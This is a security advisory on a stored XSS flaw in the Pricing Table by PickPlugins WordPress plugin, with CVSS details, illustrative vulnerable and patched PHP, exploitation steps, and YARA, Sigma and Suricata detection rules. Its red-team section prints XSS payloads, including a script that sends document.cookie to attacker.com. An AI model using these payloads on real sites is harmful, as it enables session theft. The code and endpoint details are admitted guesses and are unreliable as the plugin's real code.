CVE-2024-13469

Executive Summary

CVE-2024-13469 is a Stored Cross-Site Scripting (XSS) vulnerability in the Pricing Table by PickPlugins WordPress plugin, affecting all versions up to and including 1.12.10. The flaw resides in the insufficient sanitization of the "Button Link" input field, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious pricing table, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to the stored nature of the payload.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should verify they are running version 1.12.11 or later once a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs Contributor-level access.
• User Interaction (UI): None (N) – No user action is required for the stored script to execute.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited modification of content possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS can affect all users visiting the page, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the pricing-table-by-pickplugins plugin's handling of the "Button Link" field within the pricing table shortcode. When a user with Contributor-level privileges creates or edits a pricing table, the plugin fails to properly sanitize the URL input before storing it in the database. Specifically, the plugin does not escape or validate the input to prevent JavaScript injection.

The stored payload is later rendered on the frontend without proper output escaping. When a visitor loads the page, the injected script executes in the context of the victim's browser. This allows the attacker to perform actions such as:

• Stealing session cookies.
• Redirecting users to malicious sites.
• Defacing the page.
• Performing actions on behalf of the victim (e.g., creating admin accounts).

The attack flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new pricing table or edits an existing one.
3. In the "Button Link" field, the attacker enters a payload like javascript:alert(document.cookie) or a more complex script.
4. The plugin stores the payload without sanitization.
5. Any user visiting the page with the pricing table triggers the XSS.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.12.10): The plugin likely uses a function like esc_url() incorrectly or not at all. A typical vulnerable snippet might look like:

$button_link = $_POST['button_link'];
// No sanitization
update_post_meta($post_id, 'pricing_table_button_link', $button_link);

And in the frontend:

echo '<a href="' . get_post_meta($post_id, 'pricing_table_button_link', true) . '">Buy Now</a>';

Patched Code (expected in version 1.12.11+): The patched version should sanitize the input and escape the output:

$button_link = sanitize_url($_POST['button_link']);
update_post_meta($post_id, 'pricing_table_button_link', $button_link);

And:

echo '<a href="' . esc_url(get_post_meta($post_id, 'pricing_table_button_link', true)) . '">Buy Now</a>';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with the vulnerable plugin (<=1.12.10).
• A user account with Contributor-level privileges or higher.

Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to Pricing Tables → Add New.
3. In the "Button Link" field, enter the following payload:

   javascript:alert('XSS')
   

   Or for a more sophisticated attack:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the pricing table.
5. When an administrator or any user visits the page, the script executes.

Proof of Concept (PoC):

<!-- Stored XSS via Button Link -->
<a href="javascript:alert(document.domain)">Click Me</a>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual post_meta entries containing javascript: or <script> tags.
• Review logs for Contributor-level users creating pricing tables with suspicious button links.
• Use WAF rules to block requests containing javascript: in the button_link parameter.

Prevention:

• Update the plugin to the latest version once a patch is released.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Restrict Contributor-level access to trusted users only.
• Use a security plugin like Wordfence to scan for malicious content.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/pricing-table-by-pickplugins/ (entire plugin directory)
• Database: wp_postmeta entries with meta_key containing pricing_table_button_link and meta_value containing javascript: or <script>.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing creation/editing of pricing tables by Contributor-level users with suspicious button links.

Detection Engineering

YARA Rule

rule CVE_2024_13469_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Pricing Table by PickPlugins button links"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13469"
    strings:
        $payload1 = "javascript:" ascii wide nocase
        $payload2 = "<script>" ascii wide nocase
        $payload3 = "onload=" ascii wide nocase
        $payload4 = "onerror=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-13469 - Stored XSS in Pricing Table by PickPlugins
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in the button_link meta field of the Pricing Table plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: "pricing_table_button_link"
        meta_value|contains:
            - "javascript:"
            - "<script>"
            - "onload="
            - "onerror="
    condition: selection
falsepositives:
    - Legitimate use of javascript: in URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13469 - Stored XSS Payload in Pricing Table Button Link"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_pricing_table"; http_client_body; content:"button_link"; http_client_body; pcre:"/(javascript:|<script>|onload=|onerror=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 1.12.11 or later as soon as it is released.
2. Disable the plugin if no patch is available and the functionality is not critical.
3. Restrict Contributor-level access to only trusted users.
4. Implement a WAF with rules to block XSS payloads in the button_link parameter.

Long-term Measures:

• Regularly update all WordPress plugins and themes.
• Conduct security audits of custom code.
• Use a security plugin (e.g., Wordfence, Sucuri) for continuous monitoring.
• Educate users with elevated privileges about the risks of XSS.

Workaround: If patching is not possible, manually edit the plugin files to add sanitization:

1. Locate the file that handles the button link (likely in includes/ or admin/).
2. Add $button_link = sanitize_url($_POST['button_link']); before storing.
3. Add esc_url() when outputting the link.

Report generated by Valters IT DevSecOps Intelligence Unit